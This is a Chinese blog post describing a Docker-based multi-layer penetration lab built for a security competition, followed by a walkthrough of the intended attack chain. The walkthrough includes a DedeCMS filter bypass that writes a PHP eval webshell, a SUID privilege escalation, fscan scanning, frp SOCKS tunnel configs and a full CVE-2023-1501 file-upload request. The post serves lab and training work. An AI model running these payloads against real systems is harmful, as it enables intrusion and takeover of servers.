深信服云对抗靶机设计思路 写在前面 最近应邀参加了深信服云对抗活动,分为 靶机搭建
和 攻击&防御
两个阶段。博主负责 靶机搭建
阶段,其中赛方要求
尽可能地使用 Docker 容器化进行搭建
环境:Centos 7.6, Docker 20.0
需要存在内网环境(靶机 A -> 靶机 B)
其中,靶机 A 对外映射了全部端口,而靶机 B 仅对外映射了 8000-8004 端口。
设计思路 由于整个靶机不出网,所以博主推荐的思路是本地搭建完成之后,将容器导出为 .tar
格式,并通过 SSH 上传至靶机中
1 2 docker save -o filename.tar iami233/dedecms:latest docker load -i filename.tar
主办方在赛事规则中指出,靶机设计时需要通过控制靶机 A 以实现攻击靶机 B。但博主认为,完全可以利用 Docker 内置的网络划分功能来实现这一目标,所以未完全按照官方要求进行设计。
另外,如果要在多台宿主机之间通过容器化搭建多层渗透环境,博主觉得意义并不大。除非将 Docker 容器置于特权模式下,并实现逃逸至宿主机,以进行提权、搭建跳板等操作,但这可能会让问题变得过于复杂(有些舍本逐末的感觉?)。
因此,博主最终决定全程在靶机 A 中进行靶机的设计。在整套靶机的设计中,博主将最难的点放在了入口(毕竟平时打攻防的时候确实口子难撕🤣),其他三个靶机基本上都是 CVE 漏洞,只要能将隧道搭建出来,基本可以打穿。
由于整个云对抗正值全国常态化护网期间,靶机对外进行了访问收敛,需通过 aTrust 进行中转连接。但攻击机和靶机 A 肯定是互通的,所以整体的设计拓扑如下所示。
名称 地址 备注 DedeCMS 10.23.76.101(入口)/ 192.168.100.2 命令执行 信呼OA 192.168.100.3 / 10.10.10.2 文件上传 Redis 10.10.10.3 未授权访问 Struts2 10.10.10.4 命令执行
靶机启动 这里仅仅给大家提供一下 Docker CLI 和 Docker-compose 的启动示例,具体的镜像地址就不放出来了。
1 2 3 4 5 6 7 8 9 docker network create --driver bridge --subnet 192.168.100.0/24 entry docker network create --driver bridge --internal --subnet 10.10.10.0/24 sub-1 docker run -d --name dedecms --network entry -p 80:80 -e FLAG=flag{test_flag} 镜像名称 docker run -d --name xinhu --network entry -e FLAG=flag{test_flag} 镜像名称 docker network connect sub-1 xinhu docker run -d --name redis --network sub-1 镜像名称 docker run -d --name struts2 --network sub-1 镜像名称
当然我们也可以手动下载 docker-compose
并上传到靶机后,使用 docker-compose.yaml
来启动容器
1 2 3 4 5 6 https://github.com/docker/compose/releases/download/v2.29.2/docker-compose-linux-x86_64sudo chmod +x /usr/local/bin/docker-compose docker-compose version
具体靶机的启动脚本如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 version: "3" services: dedecms: build: ./dedecms ports: - "80:80" environment: FLAG: "flag{test_flag}" networks: - entry xinhu: build: ./xinhu environment: FLAG: "flag{test_flag}" networks: - entry - sub-1 redis: build: ./redis networks: - sub-1 struts2: build: ./struts2 networks: - sub-1 networks: entry: driver: bridge ipam: config: - subnet: 192.168 .100 .0 /24 sub-1: driver: bridge internal: true ipam: config: - subnet: 10.10 .10 .0 /24
Writeup 织梦内容管理系统 访问默认路径 /dede
成功进入后台登陆页面。通过网站的文章可以得到作者名,将其当作用户名进行爆破,得到密码 admin
进入后台后利用 文件式管理器
中 新建文件
功能进行 GetShell
(这里需要找最新版 DedeCMS
审计一下,其实 CTF 打多了应该也有很多的绕过手法,例如无字母数字RCE、字符拼接等)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $str = preg_replace ("#(/\*)[\s\S]*(\*/)#i" , '' , $str );global $cfg_disable_funs ;$cfg_disable_funs = isset ($cfg_disable_funs ) ? $cfg_disable_funs : 'phpinfoevalassertexecpassthrushell_execsystemproc_openpopencurl_execcurl_multi_execparse_ini_fileshow_sourcefile_put_contentsfsockopenfopenfwritepreg_replace' ;$cfg_disable_funs = $cfg_disable_funs .'[$]GLOBALS[$]_GET[$]_POST[$]_REQUEST[$]_FILES[$]_COOKIE[$]_SERVERincluderequirecreate_functionarray_mapcall_user_funccall_user_func_arrayarray_filertgetallheaders' ;foreach (explode ("" , $cfg_disable_funs ) as $value ) { $value = str_replace (" " , "" , $value ); if (!empty ($value ) && preg_match ("#[^a-z]+['\"]*{$value} ['\"]*[\s]*[([{']#i" , "{$str} " ) == TRUE ) { $str = dede_htmlspecialchars ($str ); die ("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str} </pre>" ); } }if (preg_match ("#^[\s\S]+<\?(php|=)?[\s]+#i" , "{$str} " ) == TRUE ) { if (preg_match ("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU" , "{$str} " ) == TRUE ) { $str = dede_htmlspecialchars ($str ); die ("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str} </pre>" ); } if (preg_match ("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU" , "{$str} " ) == TRUE ) { $str = dede_htmlspecialchars ($str ); die ("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str} </pre>" ); } if (preg_match ("#[`][\s\S]*[`]#i" , "{$str} " ) == TRUE ) { $str = dede_htmlspecialchars ($str ); die ("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str} </pre>" ); } }
1 0 =system&1 =echo '<?php eval($_POST[1]);?>' > 123 .php
写入新木马后,我们直接使用 哥斯拉
连接后进行提权操作。
根目录我放了一个 600
权限的 flag
文件用来引导用户进行提权操作,但是不知道主办方是否允许存在 flag,所以文件没写入内容(整个靶机提权与否不影响往下进行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /var/www/html >whoami www-data /var/www/html >find / -perm -u=s 2>/dev/null /bin/su /usr/bin/find /usr/bin/passwd /usr/bin/chage /usr/bin/chfn /usr/bin/chsh /usr/bin/expiry /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/sudo /usr/lib/mariadb/plugin/auth_pam_tool_dir/auth_pam_tool /var/www/html >find /tmp -exec whoami \; root
剩下的就是查看网卡,可以发现存在 192.168.100.0/24
网卡,我们直接上传 fscan
进行信息收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 /var/www/html >ifconfig eth0 Link encap:Ethernet HWaddr 02:42:C0:A8:64:02 inet addr:192.168.100.2 Bcast:192.168.100.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:18293 errors:0 dropped:0 overruns:0 frame:0 TX packets:14157 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:26051495 (24.8 MiB) TX bytes:3652659 (3.4 MiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:11703 errors:0 dropped:0 overruns:0 frame:0 TX packets:11703 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:18055136 (17.2 MiB) TX bytes:18055136 (17.2 MiB) /var/www/html >cd /tmp /tmp >chmod +x fscan /tmp >./fscan -h 192.168.100.0/24 -hn 192.168.100.2 start infoscan 192.168.100.3:9000 open 192.168.100.3:80 open [*] alive ports len is: 2 start vulscan [+] FCGI 192.168.100.3:9000 Status: 403 Forbidden X-Powered-By: PHP/7.3.33 Content-type : text/html; charset=UTF-8 Access denied. stderr:Access to the script '/etc/issue' has been denied (see security.limit_extensions) plesa try other path,as -path /www/wwwroot/index.php [*] WebTitle http://192.168.100.3 code:200 len:42 title:None [+] PocScan http://192.168.100.3 poc-yaml-php-cgi-cve-2012-1823
信呼协同办公系统 可以看到下一层存在一个 Web 服务,我们直接搭建代理
1 2 3 4 5 6 7 8 9 10 11 12 13 [common] server_port = 7000 [common] server_addr = 20.1 .0.16 server_port = 7000 [plugin_socks6] type = tcpremote_port = 7001 plugin = socks5
然后通过 Proxifier
代理出来即可正常访问到信呼协同办公系统
经过测试应该可以发现这里存在一个小小的用户名枚举漏洞,通过该漏洞我们可以确定 admin
用户存在,但是密码爆破未果。
通过目录扫描可以发现存在 adminer
,通过弱口令 root:root
成功登录控制面板
通过修改 rockxinhu
数据库中 xinhu_admin
表 admin
用户的 pass
字段来实现篡改密码(应该一眼能看出来是 md5)
登陆过后,照着 CVE-2023-1501 漏洞进行复现即可实现 getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /index.php?a=upfile&m=upload&d=public&maxsize=2&ajaxbool=true&rnd=395715 HTTP/1.1 Host : 192.168.100.3Content-Length : 225User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryTUHp3yo6lIJsYU3oAccept : */*Origin : http://192.168.100.3Referer : http://192.168.100.3/index.php?m=upload&d=public&callback=&upkey=20240803222857263101&showid=fileidviewAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : PHPSESSID=349e6ea884663131a41d928c0e5d1ae7; deviceid=1722695306459; xinhu_mo_adminid=zz0ltt0vt0kh0zz0vv0wk0ltt0zv0vz0llc0kv04; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0Connection : close------WebKitFormBoundaryTUHp3yo6lIJsYU3o Content-Disposition: form-data; name="file" ; filename="shell.php" Content-Type: application/octet-stream <?php @eval (@$_POST [cmd]);?> ------WebKitFormBoundaryTUHp3yo6lIJsYU3o--
抓包上传后可以得到文件的 上传路径
以及 文件id
1 2 path: upload/2024-08/03_22291046.uptemp id: 8
我们在通过另一个接口来将 uptemp
后缀更换为 php
,后面直接用源路径(需更改后缀)连接一句话木马即可
1 2 3 4 5 6 7 8 9 10 GET /task.php?m=qcloudCos|runt&a=run&fileid=8 HTTP/1.1 Host : 192.168.100.3User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Accept : */*Origin : http://192.168.100.3Referer : http://192.168.100.3/index.php?m=upload&d=public&callback=&upkey=20240803222857263101&showid=fileidviewAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : PHPSESSID=349e6ea884663131a41d928c0e5d1ae7; deviceid=1722695306459; xinhu_mo_adminid=zz0ltt0vt0kh0zz0vv0wk0ltt0zv0vz0llc0kv04; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0Connection : close
这里也是同样留了一个 /flag
来引导用户进行提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 /app/upload/2024-08/ >find / -perm -u=s 2>/dev/null /bin/mount /bin/su /bin/umount /tmp/.backdoor /usr/bin/chfn /usr/bin/chsh /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/passwd /tmp >cd /tmp /tmp >./.backdoor Usage: ./.backdoor <command > /tmp >./.backdoor 'whoami' root
下面就是老样子,看看有没有多个网卡然后进行信息收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 /app/upload/2024-08/ >ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 629: eth0@if630: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link /ether 02:42:c0:a8:64:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 192.168.100.3/24 brd 192.168.100.255 scope global eth0 valid_lft forever preferred_lft forever 631: eth1@if632: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link /ether 02:42:0a:0a:0a:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 10.10.10.2/24 brd 10.10.10.255 scope global eth1 valid_lft forever preferred_lft forever /app/upload/2024-08/ >cd /tmp /tmp >chmod +x fscan /tmp >./fscan -h 10.10.10.0/24 -hn 10.10.10.2 start infoscan 10.10.10.3:6379 open 10.10.10.4:8009 open 10.10.10.4:8080 open [*] alive ports len is: 3 start vulscan [+] Redis 10.10.10.3:6379 unauthorized file:/data/dump.rdb [*] WebTitle http://10.10.10.4:8080 code:200 len:90 title:$Title$ [+] PocScan http://10.10.10.4:8080 poc-yaml-struts2_045 poc
Redis 未授权访问 1 2 3 4 5 6 7 8 9 10 11 12 13 [common] server_port = 7000 [common] server_addr = 192.168 .100.2 server_port = 7000 [plugin_socks6] type = tcpremote_port = 7001 plugin = socks5
这里可以看到直接可以进行未授权访问(也可以通过 主从复制
实现 RCE
)
S2-046 命令执行 直接工具一键梭了,由于这里得到的直接就是 root
权限所以无需提权
写在后面 当时正忙着教育攻防演练,所以整体靶机搭建的时候十分仓促,用了不到两天的时间。但没想到后面突然延期了好久,但是也懒得改了….
在后期,群里其他师傅分享了一篇 记一次深信服云对抗环境搭建思路分享 ,看过之后确实大家的思路各不相同,通过宝塔来搭建是博主从未设想过的道路。不过宝塔 PHP 默认过滤了很多危险函数,可能会影响选手判断…